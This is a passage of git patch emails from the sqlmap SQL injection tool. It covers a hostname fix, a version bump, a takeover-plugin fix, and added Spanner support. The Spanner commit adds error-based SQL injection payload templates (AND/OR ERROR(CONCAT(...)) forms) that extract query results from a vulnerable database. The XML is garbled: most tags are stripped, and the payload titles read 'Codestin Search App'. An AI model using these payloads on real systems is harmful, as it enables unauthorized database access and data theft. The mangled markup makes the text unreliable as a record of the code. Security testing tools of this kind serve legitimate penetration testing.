-86,7 +86,7 @@ def create_sock(): pass hostname = self.host - if self.host: + if conf.host: hostname = conf.host else: for header, value in conf.httpHeaders: From 7ad4d6760bace469b730e7c8f1be43f5794ec0fd Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 13 Mar 2026 14:23:12 +0100 Subject: [PATCH 114/135] Fixes #6033 --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- plugins/generic/takeover.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index a85562a91b2..28381f86ac0 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ d9b37177efcaba035c7fabe7d015a3b63d9cfe502bb4998ff71e47f825eeaaca lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -5f2e82da40c05eb8139816eff0ccc0752a462e8a55c97f7085907171616de324 lib/core/settings.py +c01246fb13df8615b11fbeab566aac65156931655badc9d93e8d65372d863503 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py @@ -478,7 +478,7 @@ efd7177218288f32881b69a7ba3d667dc9178f1009c06a3e1dd4f4a4ee6980db plugins/generi ba07e54265cf461aed678df49fe3550aec90cb6d8aa9387458bd4b7064670d00 plugins/generic/misc.py 7c1b1f91925d00706529e88a763bc3dabafaf82d6dbc01b1f74aeef0533537a1 plugins/generic/search.py da8cc80a09683c89e8168a27427efecda9f35abc4a23d4facd6ffa7a837015c4 plugins/generic/syntax.py -eb45fd711efa71ab9d91d815cc8abebc9abc4770311fbb827159008b000f4fc2 plugins/generic/takeover.py +cedf45d33461bd7e5400d06611a63c8a4ffae1a4510030c5696b9d46ed6a9883 plugins/generic/takeover.py 45bfd00f09557e20115e6ce7fb52ff507930d705db215e535f991e5fbf7464de plugins/generic/users.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 plugins/__init__.py 423d9bfaddb3cf527d02ddda97e53c4853d664c51ef7be519e4f45b9e399bc30 README.md diff --git a/lib/core/settings.py b/lib/core/settings.py index e7bc3f8592f..6ab54d11b70 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.3.4" +VERSION = "1.10.3.5" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/generic/takeover.py b/plugins/generic/takeover.py index eda399e614c..8bf7d185362 100644 --- a/plugins/generic/takeover.py +++ b/plugins/generic/takeover.py @@ -153,7 +153,7 @@ def osPwn(self): if os.path.exists(filename): try: with openFile(filename, "wb") as f: - f.write("1") + f.write(b"1") except IOError as ex: errMsg = "there has been a file opening/writing error " errMsg += "for filename '%s' ('%s')" % (filename, getSafeExString(ex)) From 79c9db10a9fbbaa51e302697d5101e8be2c9a7e7 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 14 Mar 2026 10:47:41 +0100 Subject: [PATCH 115/135] Adding support for Spanner DBMS (#6025) --- data/xml/errors.xml | 4 ++ data/xml/payloads/error_based.xml | 37 ++++++++++++++++++ data/xml/queries.xml | 63 +++++++++++++++++++++++++++++++ lib/controller/handler.py | 3 ++ lib/core/agent.py | 7 +++- lib/core/common.py | 4 +- lib/core/dicts.py | 3 ++ lib/core/enums.py | 2 + lib/core/settings.py | 7 +++- plugins/generic/databases.py | 24 +++++++++++- plugins/generic/entries.py | 4 +- 11 files changed, 148 insertions(+), 10 deletions(-) diff --git a/data/xml/errors.xml b/data/xml/errors.xml index 605ffacd9a9..14e4648cc49 100644 --- a/data/xml/errors.xml +++ b/data/xml/errors.xml @@ -245,4 +245,8 @@ + + + + diff --git a/data/xml/payloads/error_based.xml b/data/xml/payloads/error_based.xml index 3023df9fba8..90bed48b231 100644 --- a/data/xml/payloads/error_based.xml +++ b/data/xml/payloads/error_based.xml @@ -911,6 +911,43 @@ + + Codestin Search App + 2 + 5 + 1 + 1,2,3,8,9 + 1 + AND ERROR(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) IS NOT NULL + + AND ERROR(CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]')) IS NOT NULL + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +

+ Spanner +
+
+ + + Codestin Search App + 2 + 5 + 3 + 1,2,3,8,9 + 1 + OR ERROR(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) IS NOT NULL + + OR ERROR(CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]')) IS NOT NULL + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Spanner +
+